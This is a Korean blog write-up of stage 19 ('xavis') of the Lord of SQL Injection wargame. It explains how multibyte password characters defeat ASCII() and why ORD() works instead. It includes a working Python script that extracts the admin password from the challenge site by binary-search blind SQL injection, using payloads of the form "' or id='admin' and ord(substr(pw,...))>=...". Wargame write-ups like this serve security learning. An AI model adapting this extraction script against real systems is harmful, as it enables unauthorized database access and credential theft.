감자 텃밭

[Load of SQL Injection] LOS - xavis(19단계) 본문

my_study/LOS

[Load of SQL Injection] LOS - xavis(19단계)

g2h 2023. 1. 7. 22:19

19단계 = xvais


소스코드

이번문제에서는 이상하리만큼 필터링되는 게 없으며, regex와 like가 필터링되고 있다.

이번 문제의 의도를 파악하기 힘든부분이었으며, 해당 문제에서 많은 걸 배우게 되었다.

 

우선 기존문제들과 동일하게 입력값과 db저장된값을 비교하므로, Blind SQL Injection을 이요하면 될 것이다.

 

정상적으로 구해지는 거 같은데 불안한 기분이 맴돌았다..

늘 그래왔듯 패스워드길이와 문자열을 추출하기위해 파이썬코드를 작성하여

추출하려 시도하였지만 패스워드의 길이는 12자리인 걸 확인 후 문자열이

구해지지 않았다....


우선 패스워드의 길이는 12자리였다. 

파이썬 코드의 오류인가 싶어 아무리봐도 오류코드를 찾지 못하여 직접 URL로 값을 확인해본 결과

필터도 걸려있지 않는데 ASCII()함수가 실행되지 않는다. 찾아본 결과

영숫자가 아닌 한글 또는 특수문자일 수 있었던 것이다..

ascii가 아닌 유니코드로 작성되었을 것이다.


ascii() 함수의 경우 특성상

입력받은 ascii문자에 대해 2진수 비트로 변환 후 가장 왼쪽 1Byte만 반환하게 된다.

즉 '가'를 입력받게 되면 '가'는 2진수 비트로 변환하게 되면

11101010 10110000 10000000이 되는데

이중 가장 왼쪽 1Byte만 반환하게 된다. 

11101010(ascii() 이것만 출력)10110000 10000000 = 234


위와 같이 나오게 된다.

이 경우 ascii() 함수대신 사용할 수 있는 것이 ord() 함수이다.

ord() 함수는 ascii()와 동일하게 입력받은 문자에 대해 10진수로 변환시켜 주지만.

ascii() 함수와는 달리 만약 문자열 중 제일 왼쪽에 있는 문자가 멀티바이트(Multibyte) 문자라면, 특정 공식을 이용해 계산한 숫자를 반환하게 된다.


11101010 10110000 10000000 = 15380608으로 나타나게 된다.


length를 통해 문자 하나의 길이를 확인해봤을 때 4가 나온걸 보니 4Byte인걸 확인할 수 있다.

 

 

이제 정리는 끝났다.

ord함수를 통해서 해당 패스워드의 문자열을 구하면 된다.

하지만 그럴 경우 범위가 매우 광범위해지기에 이를 조금이나마 효율적으로 코드를 짜도록

 

2진 탐색 알고리즘을 사용하여 파이썬 자동화코드를 작성하였다.

import requests

url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
cookie = {"PHPSESSID":"세션값"}

pw=''
endpoint = False
for i in range(1,30):
    if (endpoint):
        break
    print('{}번째 문자에 대해 검색중..'.format(i))
    start = 44032 
    end = 55203
    while True:
        if (endpoint):
             print("{}번째 문자는 존재하지 않습니다.".format(i))
             print("어드민 계정의 패스워드는{}입니다.".format(pw))
             break
        if (start==end):
            endpoint = True
        midle = round((start+end)/2)
        query=url+"?pw=' or id='admin' and ord(substr(pw,{},1))>={}%23".format(i,midle)
        res=requests.get(query,cookies=cookie)
        if 'Hello admin' in res.text:
            query=url+"?pw=' or id='admin' and ord(substr(pw,{},1))={}%23".format(i,midle)
            res=requests.get(query,cookies=cookie)
            if 'Hello admin' in res.text:
                pw+=chr(midle)
                #print(chr(44032))
                print('{}번째 문자 = {}'.format(i,pw))
          
                break
            else:
                start = midle
                continue
        else:
            end = midle
            continue

위와 같이 작성하여 실행시키면 패스워드를 구할 수 있다.

 

 

 

참고사이트
https://velog.io/@sookyeongyeom/LOS-19번-xavis

 

※ 내용이 이상하거나 문제가 있을 경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다